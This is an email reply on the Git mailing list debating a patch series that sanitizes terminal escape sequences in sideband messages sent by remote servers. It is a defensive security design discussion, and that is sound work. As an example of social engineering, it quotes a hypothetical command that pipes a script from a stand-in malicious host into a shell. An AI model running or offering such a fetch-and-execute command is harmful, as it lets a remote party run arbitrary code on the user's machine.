Re: [PATCH 0/3] Sanitize sideband channel messages

From: Junio C Hamano <gitster@pobox.com>
Date: Jan 16, 2025, 06:45 UTC
Message-ID: <xmqqwmevtfye.fsf@gitster.g>
In-Reply-To: <Z4bqMYKRP7Gva5St@tapette.crustytoothpaste.net>

"brian m. carlson" <sandals@crustytoothpaste.net> writes:

Show 9 quoted lines

> Where pre-receive hooks are available, people frequently run various
> commands to test and analyze code in them, including build or static
> analysis tools, such as Rust's Cargo.  Cargo is capable of printing a
> wide variety of escape sequences in its output, including `\e[K`, which
> overwrites text to the right (e.g., for progress bars and status output
> much like Git produces), and sequences for hyperlinks.  Stripping these
> sequences would break the output in ways that would be confusing to the
> user (since they work fine in a regular terminal) and hard to
> reproduce or fix.

You have ruled out the attack vector that lets bytestream sent to the terminal emulator to somehow cause arbitrary input bytes added (which may require the final <ENTER> from the user but that is not much of consolation), and I tend to agree with you on that point.

With that misfeature out of the picture, I am not sure why terminal escape sequences that may clear or write-over things on the screen are of particular interest. If the malicious remote end says something like

    To proceed, open another window and type this command:

	$ curl https://my.malicious.xz/install.sh | sh

to its output, even if the message is shown with the "remote: " prefix on the receiving local client, wouldn't that cause certain percentage of end-user population to copy-and-paste that command anyway?

> I agree that this would have been a nice feature to add at the beginning
> of the development of the sideband feature, but I fear that it is too
> late to make an incompatible change now.

So I am not so sure even it would have been a "nice feature" to disallow sideband messages to carry terminal escape sequences to begin with.

> I realize that you've provided an escape hatch, but as we've seen with
> other defense-in-depth measures, that doesn't avoid the inconvenience
> and hassle of dealing with those changes and the costs of deploying
> fixes everywhere.

One more thing that I am not so happy about these "escape hatches" is that they tend to be all or nothing (not limited to this round, but common to other defense-in-depth attempts). Having to say "I trust them completely" is something that would make people uneasy.

Show 12 quoted lines

> We need to consider the costs and impact of these
> patches on our users, including the burden of dealing with incompatible
> changes, and given the fact that this problem can occur in a wide
> variety of other contexts which you are not solving here and which would
> be better solved more generally in terminal emulators themselves, I
> don't think the benefits of this approach outweigh the downsides.
>
> I do agree that there are terminal emulators which have some surprising
> and probably insecure behaviour, as we've discussed in the past, but
> because I believe those issues are more general and could be a problem
> for any terminal-using program, I continue to believe that those issues
> are best addressed in the terminal emulator itself.